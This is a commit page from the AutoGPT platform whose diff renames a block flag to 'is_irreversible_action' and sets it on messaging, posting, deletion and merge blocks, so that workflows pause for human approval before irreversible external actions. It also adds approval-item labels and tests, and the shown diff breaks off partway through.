AutoGPT is the vision of accessible AI for everyone, to use and to build on. Our mission is to provide the tools, so that you can focus on what matters.
feat(platform): workflows started from AutoPilot pause before an irreversible action; the irreversible marker renamed and widened (#14817)
Reinier van der Leer5dbd3d38b307
diff --git a/autogpt_platform/backend/backend/api/features/experts/models.py b/autogpt_platform/backend/backend/api/features/experts/models.pyindex 7c13caa25b..e403d03ca0 100644--- a/autogpt_platform/backend/backend/api/features/experts/models.py+++ b/autogpt_platform/backend/backend/api/features/experts/models.py@@ -19,9 +19,9 @@ ExpertRunStatus = Literal[]AI_DISCLOSURE_RULE = "The expert discloses that it is AI when acting externally."-# Only some outward calls are actually gated for approval — is_sensitive_action-# (backend/blocks/_base.py, checked in backend/data/graph.py:261) covers 17 of-# 513 blocks — so this is phrased as expert behaviour, not a platform guarantee.+# Only some outward calls are actually gated for approval — is_irreversible_action+# (backend/blocks/_base.py) marks only the irreversible blocks — so this is+# phrased as expert behaviour, not a platform guarantee.EXTERNAL_ACTION_APPROVAL_RULE = "The expert asks for approval before acting externally."# Dual-audience: this tuple is both Soul-drawer UI copy and injected LLM# instruction text. Reword for one audience without silently breaking the other.diff --git a/autogpt_platform/backend/backend/api/features/graph_executions/review/model.py b/autogpt_platform/backend/backend/api/features/graph_executions/review/model.pyindex 12521fa2a6..5b176ec445 100644--- a/autogpt_platform/backend/backend/api/features/graph_executions/review/model.py+++ b/autogpt_platform/backend/backend/api/features/graph_executions/review/model.py@@ -1,10 +1,13 @@import json+import refrom datetime import datetime+from functools import cachefrom typing import TYPE_CHECKING, Any, Dict, List, Unionfrom prisma.enums import ReviewStatusfrom pydantic import BaseModel, Field, field_validator, model_validator+from backend.blocks import get_blocksfrom backend.copilot.constants import legacy_chat_session_idif TYPE_CHECKING:@@ -70,6 +73,12 @@ class PendingHumanReviewModel(BaseModel):agent_name: str | None = Field(default=None, description="Display name of the agent that requested the review")+ block_id: str | None = Field(+ default=None, description="The block awaiting approval, when a block asked"+ )+ action: str | None = Field(+ default=None, description="What that block does, e.g. 'Send Discord Message'"+ )library_agent_id: str | None = Field(default=None, description="For run deep links")was_edited: bool | None = Field(description="Whether the data was modified during review", default=None@@ -102,10 +111,13 @@ class PendingHumanReviewModel(BaseModel):review: Database review objectnode_id: Node definition ID (fetched from NodeExecution)"""+ block = _block_named(review.instructions)# A row written in the old synthetic-graph shape reads as a chat review.legacy_session_id = legacy_chat_session_id(review.graphExecId)is_graph = legacy_session_id is None and review.chatSessionId is Nonereturn cls(+ block_id=block.id if block else None,+ action=_action_label(block.name) if block else None,node_exec_id=review.nodeExecId,node_id=node_id,user_id=review.userId,@@ -244,3 +256,20 @@ class ReviewResponse(BaseModel):rejected_count: int = Field(description="Number of reviews successfully rejected")failed_count: int = Field(description="Number of reviews that failed processing")error: str | None = Field(None, description="Error message if operation failed")+++def _block_named(name: str | None):+ # A block's review stores its class name as the instructions; a+ # human-in-the-loop block stores the user's own text there instead.+ return _blocks_by_name().get(name) if name else None+++@cache+def _blocks_by_name():+ return {block.__name__: block() for block in get_blocks().values()}+++def _action_label(block_name: str) -> str:+ words = re.sub(r"Block$", "", block_name)+ words = re.sub(r"([a-z])([A-Z])", r"\1 \2", words)+ return re.sub(r"([A-Z])([A-Z][a-z])", r"\1 \2", words)diff --git a/autogpt_platform/backend/backend/api/features/graph_executions/review/model_test.py b/autogpt_platform/backend/backend/api/features/graph_executions/review/model_test.pynew file mode 100644index 0000000000..ef8806fcc0--- /dev/null+++ b/autogpt_platform/backend/backend/api/features/graph_executions/review/model_test.py@@ -0,0 +1,45 @@+from datetime import datetime, timezone++import pytest+from prisma.enums import ReviewStatus+from prisma.models import PendingHumanReview++from .model import PendingHumanReviewModel+++def _row(instructions: str) -> PendingHumanReview:+ return PendingHumanReview.model_construct(+ nodeExecId="node-exec",+ userId="user",+ graphExecId="graph-exec",+ graphId="graph",+ graphVersion=1,+ payload={"message_content": "hi"},+ instructions=instructions,+ editable=True,+ status=ReviewStatus.WAITING,+ reviewMessage=None,+ wasEdited=None,+ processed=False,+ createdAt=datetime(2026, 9, 23, tzinfo=timezone.utc),+ updatedAt=None,+ reviewedAt=None,+ )+++ "instructions, block_id, action",+ [+ (+ "SendDiscordMessageBlock",+ "d0822ab5-9f8a-44a3-8971-531dd0178b6b",+ "Send Discord Message",+ ),+ ("Please check the refund amount", None, None),+ ],+)+def test_a_block_review_carries_its_block_and_action(instructions, block_id, action):+ review = PendingHumanReviewModel.from_db(_row(instructions), node_id="node")++ assert review.block_id == block_id+ assert review.action == actiondiff --git a/autogpt_platform/backend/backend/api/features/home/attention.py b/autogpt_platform/backend/backend/api/features/home/attention.pyindex 382c69e6ce..fcd2d84995 100644--- a/autogpt_platform/backend/backend/api/features/home/attention.py+++ b/autogpt_platform/backend/backend/api/features/home/attention.py@@ -44,13 +44,18 @@ def compose_attention_items(def _review_attention(review: PendingHumanReviewModel, now: datetime) -> HomeAttentionItem:- title = review.instructions or review.agent_name or "Review an agent decision"+ title = (+ review.action+ or review.instructions+ or review.agent_name+ or "Review a workflow step"+ )created_at = as_utc(review.created_at)if is_spend_review(review.node_exec_id):description = "Spending threshold reached; this work is on hold."why_it_matters = "It runs once you approve; declining cancels it."else:- description = "Your agent paused before taking an external action."+ description = f"{_waiting_on(review)} is waiting for your approval."why_it_matters = "The task cannot continue until you approve or decline it."return HomeAttentionItem(id=f"approval-{review.node_exec_id}",@@ -68,6 +73,14 @@ def _review_attention()+def _waiting_on(review: PendingHumanReviewModel) -> str:+ if review.session_id:+ return AUTOPILOT_NAME+ if review.agent_name:+ return f"Workflow “{review.agent_name}”"+ return "A workflow"++def _expert_attention(expert: Expert) -> HomeAttentionItem:summary = to_home_expert(expert)if expert.schedules_paused_at:diff --git a/autogpt_platform/backend/backend/api/features/home/attention_test.py b/autogpt_platform/backend/backend/api/features/home/attention_test.pyindex 84ec8f314a..db129f537e 100644--- a/autogpt_platform/backend/backend/api/features/home/attention_test.py+++ b/autogpt_platform/backend/backend/api/features/home/attention_test.py@@ -420,3 +420,40 @@ def test_spend_hold_is_described_as_such() -> None:assert [item.kind for item in items] == ["approval"]assert items[0].title == "Send the prepared message"assert items[0].description == "Spending threshold reached; this work is on hold."+++def test_block_review_names_the_action_and_the_workflow() -> None:+ review = _review(NOW).model_copy(+ update={"action": "Send Discord Message", "agent_name": "Post launch note"}+ )++ [item] = compose_attention_items(+ now=NOW, experts=[], reviews=[review], schedules=[], credits_balance=None+ )++ assert item.title == "Send Discord Message"+ assert (+ item.description == "Workflow “Post launch note” is waiting for your approval."+ )+++def test_a_direct_autopilot_review_is_not_called_a_workflow() -> None:+ review = _review(NOW).model_copy(+ update={"graph_exec_id": None, "session_id": "abc", "agent_name": None}+ )++ [item] = compose_attention_items(+ now=NOW, experts=[], reviews=[review], schedules=[], credits_balance=None+ )++ assert item.description == "Otto is waiting for your approval."+++def test_a_workflow_review_without_a_name_still_says_workflow() -> None:+ review = _review(NOW).model_copy(update={"agent_name": None})++ [item] = compose_attention_items(+ now=NOW, experts=[], reviews=[review], schedules=[], credits_balance=None+ )++ assert item.description == "A workflow is waiting for your approval."diff --git a/autogpt_platform/backend/backend/api/features/home/routes_test.py b/autogpt_platform/backend/backend/api/features/home/routes_test.pyindex 3cfcc824d0..b64a6a9483 100644--- a/autogpt_platform/backend/backend/api/features/home/routes_test.py+++ b/autogpt_platform/backend/backend/api/features/home/routes_test.py@@ -45,7 +45,7 @@ def _dashboard() -> HomeDashboardResponse:kind="approval",priority="high",title="Send the prepared message",- description="Your agent paused before taking an external action.",+ description="Workflow “Post launch note” is waiting for your approval.",why_it_matters="The task cannot continue until you decide.",primary_action=HomeAction(label="Review", href="/library"),)diff --git a/autogpt_platform/backend/backend/blocks/_base.py b/autogpt_platform/backend/backend/blocks/_base.pyindex 7d2a92b891..81cc4d499d 100644--- a/autogpt_platform/backend/backend/blocks/_base.py+++ b/autogpt_platform/backend/backend/blocks/_base.py@@ -589,7 +589,7 @@ class Block(ABC, Generic[BlockSchemaInputType, BlockSchemaOutputType]):static_output: bool = False,block_type: BlockType = BlockType.STANDARD,webhook_config: Optional[BlockWebhookConfig | BlockManualWebhookConfig] = None,- is_sensitive_action: bool = False,+ is_irreversible_action: bool = False,capability_kind: CapabilityKind | None = None,):"""@@ -608,6 +608,10 @@ class Block(ABC, Generic[BlockSchemaInputType, BlockSchemaOutputType]):test_mock: function names on the block implementation to mock on test run.disabled: If the block is disabled, it will not be available for execution.static_output: Whether the output links of the block are static by default.+ is_irreversible_action: The effect has reached someone outside the platform+ by the time the block returns (a send, public post, payment or order,+ external permanent delete, access grant, on-call page); an external+ write the user can edit back is not one.capability_kind: How the copilot ranks this block as a capability.Defaults to ``service`` when the block's credentials name exactlyone provider and ``primitive`` otherwise; set it explicitly on@@ -627,7 +631,7 @@ class Block(ABC, Generic[BlockSchemaInputType, BlockSchemaOutputType]):self.static_output = static_outputself.block_type = block_typeself.webhook_config = webhook_config- self.is_sensitive_action = is_sensitive_action+ self.is_irreversible_action = is_irreversible_actionself._capability_kind: CapabilityKind | None = capability_kind# Read from ClassVar set by initialize_blocks()self.optimized_description: str | None = type(self)._optimized_description@@ -833,7 +837,7 @@ class Block(ABC, Generic[BlockSchemaInputType, BlockSchemaOutputType]):- input_data_to_use: The input data to use (may be modified by reviewer)"""if not (- self.is_sensitive_action and execution_context.sensitive_action_safe_mode+ self.is_irreversible_action and execution_context.sensitive_action_safe_mode):return False, input_datadiff --git a/autogpt_platform/backend/backend/blocks/agent_mail/drafts.py b/autogpt_platform/backend/backend/blocks/agent_mail/drafts.pyindex 62719554af..3dcd6ac4c8 100644--- a/autogpt_platform/backend/backend/blocks/agent_mail/drafts.py+++ b/autogpt_platform/backend/backend/blocks/agent_mail/drafts.py@@ -483,7 +483,7 @@ class AgentMailSendDraftBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,@@ -561,7 +561,7 @@ class AgentMailDeleteDraftBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,diff --git a/autogpt_platform/backend/backend/blocks/agent_mail/inbox.py b/autogpt_platform/backend/backend/blocks/agent_mail/inbox.pyindex 1b5c02b46f..edee5ce5a7 100644--- a/autogpt_platform/backend/backend/blocks/agent_mail/inbox.py+++ b/autogpt_platform/backend/backend/blocks/agent_mail/inbox.py@@ -387,7 +387,7 @@ class AgentMailDeleteInboxBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,diff --git a/autogpt_platform/backend/backend/blocks/agent_mail/lists.py b/autogpt_platform/backend/backend/blocks/agent_mail/lists.pyindex 42b9efadd3..07e5450197 100644--- a/autogpt_platform/backend/backend/blocks/agent_mail/lists.py+++ b/autogpt_platform/backend/backend/blocks/agent_mail/lists.py@@ -181,7 +181,6 @@ class AgentMailCreateListEntryBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,@@ -348,7 +347,6 @@ class AgentMailDeleteListEntryBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,diff --git a/autogpt_platform/backend/backend/blocks/agent_mail/messages.py b/autogpt_platform/backend/backend/blocks/agent_mail/messages.pyindex 733c20d37b..46da5e66be 100644--- a/autogpt_platform/backend/backend/blocks/agent_mail/messages.py+++ b/autogpt_platform/backend/backend/blocks/agent_mail/messages.py@@ -83,7 +83,7 @@ class AgentMailSendMessageBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,@@ -401,7 +401,7 @@ class AgentMailReplyToMessageBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,@@ -522,7 +522,7 @@ class AgentMailForwardMessageBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,diff --git a/autogpt_platform/backend/backend/blocks/agent_mail/pods.py b/autogpt_platform/backend/backend/blocks/agent_mail/pods.pyindex 8b8d7d56ea..f17a071146 100644--- a/autogpt_platform/backend/backend/blocks/agent_mail/pods.py+++ b/autogpt_platform/backend/backend/blocks/agent_mail/pods.py@@ -266,7 +266,7 @@ class AgentMailDeletePodBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT, "pod_id": "test-pod"},test_output=[("success", True)],diff --git a/autogpt_platform/backend/backend/blocks/agent_mail/threads.py b/autogpt_platform/backend/backend/blocks/agent_mail/threads.pyindex c7ccbd1b0d..cc91669584 100644--- a/autogpt_platform/backend/backend/blocks/agent_mail/threads.py+++ b/autogpt_platform/backend/backend/blocks/agent_mail/threads.py@@ -234,7 +234,7 @@ class AgentMailDeleteInboxThreadBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_credentials=TEST_CREDENTIALS,test_input={"credentials": TEST_CREDENTIALS_INPUT,diff --git a/autogpt_platform/backend/backend/blocks/airtable/records.py b/autogpt_platform/backend/backend/blocks/airtable/records.pyindex a876658f0d..5778273147 100644--- a/autogpt_platform/backend/backend/blocks/airtable/records.py+++ b/autogpt_platform/backend/backend/blocks/airtable/records.py@@ -362,6 +362,7 @@ class AirtableDeleteRecordsBlock(Block):categories={BlockCategory.DATA},input_schema=self.Input,output_schema=self.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/allquiet/incidents.py b/autogpt_platform/backend/backend/blocks/allquiet/incidents.pyindex 0be79c494e..f26a5cd766 100644--- a/autogpt_platform/backend/backend/blocks/allquiet/incidents.py+++ b/autogpt_platform/backend/backend/blocks/allquiet/incidents.py@@ -119,6 +119,7 @@ class AllQuietCreateIncidentBlock(Block):("on_call_users", []),],test_mock={"create_incident": lambda *args, **kwargs: TEST_INCIDENT},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_bluesky.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_bluesky.pyindex a7254f7099..83bd7d5b43 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_bluesky.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_bluesky.py@@ -55,6 +55,7 @@ class PostToBlueskyBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToBlueskyBlock.Input,output_schema=PostToBlueskyBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_facebook.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_facebook.pyindex 2d4af969b1..438cfc95aa 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_facebook.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_facebook.py@@ -113,6 +113,7 @@ class PostToFacebookBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToFacebookBlock.Input,output_schema=PostToFacebookBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_gmb.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_gmb.pyindex 1856cbef65..64bb45d31d 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_gmb.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_gmb.py@@ -111,6 +111,7 @@ class PostToGMBBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToGMBBlock.Input,output_schema=PostToGMBBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_instagram.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_instagram.pyindex d468c1652a..c7a2794dd7 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_instagram.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_instagram.py@@ -105,6 +105,7 @@ class PostToInstagramBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToInstagramBlock.Input,output_schema=PostToInstagramBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_linkedin.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_linkedin.pyindex 01824cf994..da2f55b6c2 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_linkedin.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_linkedin.py@@ -110,6 +110,7 @@ class PostToLinkedInBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToLinkedInBlock.Input,output_schema=PostToLinkedInBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_pinterest.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_pinterest.pyindex df8a436cbe..64ba141c2d 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_pinterest.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_pinterest.py@@ -85,6 +85,7 @@ class PostToPinterestBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToPinterestBlock.Input,output_schema=PostToPinterestBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_reddit.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_reddit.pyindex 40fbe14cd1..b3f6fd6195 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_reddit.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_reddit.py@@ -36,6 +36,7 @@ class PostToRedditBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToRedditBlock.Input,output_schema=PostToRedditBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_snapchat.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_snapchat.pyindex 996518dacf..5a06f2bad8 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_snapchat.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_snapchat.py@@ -68,6 +68,7 @@ class PostToSnapchatBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToSnapchatBlock.Input,output_schema=PostToSnapchatBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_telegram.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_telegram.pyindex f526c6ea9f..706e6322c9 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_telegram.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_telegram.py@@ -55,6 +55,7 @@ class PostToTelegramBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToTelegramBlock.Input,output_schema=PostToTelegramBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_threads.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_threads.pyindex ebafc28308..b66d49144b 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_threads.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_threads.py@@ -48,6 +48,7 @@ class PostToThreadsBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToThreadsBlock.Input,output_schema=PostToThreadsBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_tiktok.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_tiktok.pyindex 5b731dcc8b..6458ab0e27 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_tiktok.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_tiktok.py@@ -114,6 +114,7 @@ class PostToTikTokBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToTikTokBlock.Input,output_schema=PostToTikTokBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_x.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_x.pyindex da1fe48c26..1e561e93e1 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_x.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_x.py@@ -113,6 +113,7 @@ class PostToXBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToXBlock.Input,output_schema=PostToXBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_youtube.py b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_youtube.pyindex 021f4c1005..7919831685 100644--- a/autogpt_platform/backend/backend/blocks/ayrshare/post_to_youtube.py+++ b/autogpt_platform/backend/backend/blocks/ayrshare/post_to_youtube.py@@ -143,6 +143,7 @@ class PostToYouTubeBlock(Block):block_type=BlockType.AYRSHARE,input_schema=PostToYouTubeBlock.Input,output_schema=PostToYouTubeBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/baas/bots.py b/autogpt_platform/backend/backend/blocks/baas/bots.pyindex 5548074453..453291b46b 100644--- a/autogpt_platform/backend/backend/blocks/baas/bots.py+++ b/autogpt_platform/backend/backend/blocks/baas/bots.py@@ -84,6 +84,7 @@ class BaasBotJoinMeetingBlock(Block):categories={BlockCategory.COMMUNICATION},input_schema=self.Input,output_schema=self.Output,+ is_irreversible_action=True,)async def run(@@ -230,6 +231,7 @@ class BaasBotDeleteRecordingBlock(Block):categories={BlockCategory.DATA},input_schema=self.Input,output_schema=self.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/basic.py b/autogpt_platform/backend/backend/blocks/basic.pyindex f71eb1e589..4fd9ceba57 100644--- a/autogpt_platform/backend/backend/blocks/basic.py+++ b/autogpt_platform/backend/backend/blocks/basic.py@@ -129,7 +129,6 @@ class PrintToConsoleBlock(Block):input_schema=PrintToConsoleBlock.Input,output_schema=PrintToConsoleBlock.Output,test_input={"text": "Hello, World!"},- is_sensitive_action=True,disabled=True,test_output=[("output", "Hello, World!"),diff --git a/autogpt_platform/backend/backend/blocks/discord/bot_blocks.py b/autogpt_platform/backend/backend/blocks/discord/bot_blocks.pyindex 451843615e..012725f0b8 100644--- a/autogpt_platform/backend/backend/blocks/discord/bot_blocks.py+++ b/autogpt_platform/backend/backend/blocks/discord/bot_blocks.py@@ -233,6 +233,7 @@ class SendDiscordMessageBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def send_message(@@ -367,6 +368,7 @@ class SendDiscordDMBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def send_dm(self, token: str, user_id: str, message_content: str) -> dict:@@ -486,6 +488,7 @@ class SendDiscordEmbedBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def send_embed(@@ -657,6 +660,7 @@ class SendDiscordFileBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def send_file(@@ -845,6 +849,7 @@ class ReplyToDiscordMessageBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def send_reply(@@ -1238,6 +1243,7 @@ class CreateDiscordThreadBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def create_thread(diff --git a/autogpt_platform/backend/backend/blocks/email_block.py b/autogpt_platform/backend/backend/blocks/email_block.pyindex dbf80d7a12..f3fe3d2256 100644--- a/autogpt_platform/backend/backend/blocks/email_block.py+++ b/autogpt_platform/backend/backend/blocks/email_block.py@@ -97,7 +97,7 @@ class SendEmailBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("status", "Email sent successfully")],test_mock={"send_email": lambda *args, **kwargs: "Email sent successfully"},- is_sensitive_action=True,+ is_irreversible_action=True,)ALLOWED_SMTP_PORTS = {25, 465, 587, 2525}diff --git a/autogpt_platform/backend/backend/blocks/exa/websets.py b/autogpt_platform/backend/backend/blocks/exa/websets.pyindex 99bbc64c57..ed3fbf87fc 100644--- a/autogpt_platform/backend/backend/blocks/exa/websets.py+++ b/autogpt_platform/backend/backend/blocks/exa/websets.py@@ -752,6 +752,7 @@ class ExaDeleteWebsetBlock(Block):categories={BlockCategory.SEARCH},input_schema=ExaDeleteWebsetBlock.Input,output_schema=ExaDeleteWebsetBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/exa/websets_enrichment.py b/autogpt_platform/backend/backend/blocks/exa/websets_enrichment.pyindex f442764bfc..b7c46f1353 100644--- a/autogpt_platform/backend/backend/blocks/exa/websets_enrichment.py+++ b/autogpt_platform/backend/backend/blocks/exa/websets_enrichment.py@@ -472,6 +472,7 @@ class ExaDeleteEnrichmentBlock(Block):categories={BlockCategory.SEARCH},input_schema=ExaDeleteEnrichmentBlock.Input,output_schema=ExaDeleteEnrichmentBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/exa/websets_import_export.py b/autogpt_platform/backend/backend/blocks/exa/websets_import_export.pyindex a865ff4bf3..27fd593713 100644--- a/autogpt_platform/backend/backend/blocks/exa/websets_import_export.py+++ b/autogpt_platform/backend/backend/blocks/exa/websets_import_export.py@@ -470,6 +470,7 @@ class ExaDeleteImportBlock(Block):categories={BlockCategory.DATA},input_schema=ExaDeleteImportBlock.Input,output_schema=ExaDeleteImportBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/exa/websets_items.py b/autogpt_platform/backend/backend/blocks/exa/websets_items.pyindex cf9b0fc9a3..930d219fb9 100644--- a/autogpt_platform/backend/backend/blocks/exa/websets_items.py+++ b/autogpt_platform/backend/backend/blocks/exa/websets_items.py@@ -336,6 +336,7 @@ class ExaDeleteWebsetItemBlock(Block):categories={BlockCategory.SEARCH},input_schema=ExaDeleteWebsetItemBlock.Input,output_schema=ExaDeleteWebsetItemBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/exa/websets_monitor.py b/autogpt_platform/backend/backend/blocks/exa/websets_monitor.pyindex 9e1a13243d..a4d724dd75 100644--- a/autogpt_platform/backend/backend/blocks/exa/websets_monitor.py+++ b/autogpt_platform/backend/backend/blocks/exa/websets_monitor.py@@ -518,6 +518,7 @@ class ExaDeleteMonitorBlock(Block):categories={BlockCategory.SEARCH},input_schema=ExaDeleteMonitorBlock.Input,output_schema=ExaDeleteMonitorBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/github/issues.py b/autogpt_platform/backend/backend/blocks/github/issues.pyindex 6bfc43bba0..789a8e6193 100644--- a/autogpt_platform/backend/backend/blocks/github/issues.py+++ b/autogpt_platform/backend/backend/blocks/github/issues.py@@ -84,6 +84,7 @@ class GithubCommentBlock(Block):"https://github.com/owner/repo/issues/1#issuecomment-1337",)},+ is_irreversible_action=True,)@staticmethod@@ -404,6 +405,7 @@ class GithubMakeIssueBlock(Block):"https://github.com/owner/repo/issues/1",)},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/github/pull_requests.py b/autogpt_platform/backend/backend/blocks/github/pull_requests.pyindex e8d040642a..bf2b30142d 100644--- a/autogpt_platform/backend/backend/blocks/github/pull_requests.py+++ b/autogpt_platform/backend/backend/blocks/github/pull_requests.py@@ -219,6 +219,7 @@ class GithubMakePullRequestBlock(Block):"https://github.com/owner/repo/pull/1",)},+ is_irreversible_action=True,)@staticmethod@@ -755,7 +756,7 @@ class GithubMergePullRequestBlock(Block):"Pull Request successfully merged",)},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/github/repo_branches.py b/autogpt_platform/backend/backend/blocks/github/repo_branches.pyindex 1d5ac109d9..9d407043b1 100644--- a/autogpt_platform/backend/backend/blocks/github/repo_branches.py+++ b/autogpt_platform/backend/backend/blocks/github/repo_branches.py@@ -275,7 +275,7 @@ class GithubDeleteBranchBlock(Block):test_mock={"delete_branch": lambda *args, **kwargs: "Branch deleted successfully"},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/github/reviews.py b/autogpt_platform/backend/backend/blocks/github/reviews.pyindex 5270c77e7b..313acbb701 100644--- a/autogpt_platform/backend/backend/blocks/github/reviews.py+++ b/autogpt_platform/backend/backend/blocks/github/reviews.py@@ -108,6 +108,7 @@ class 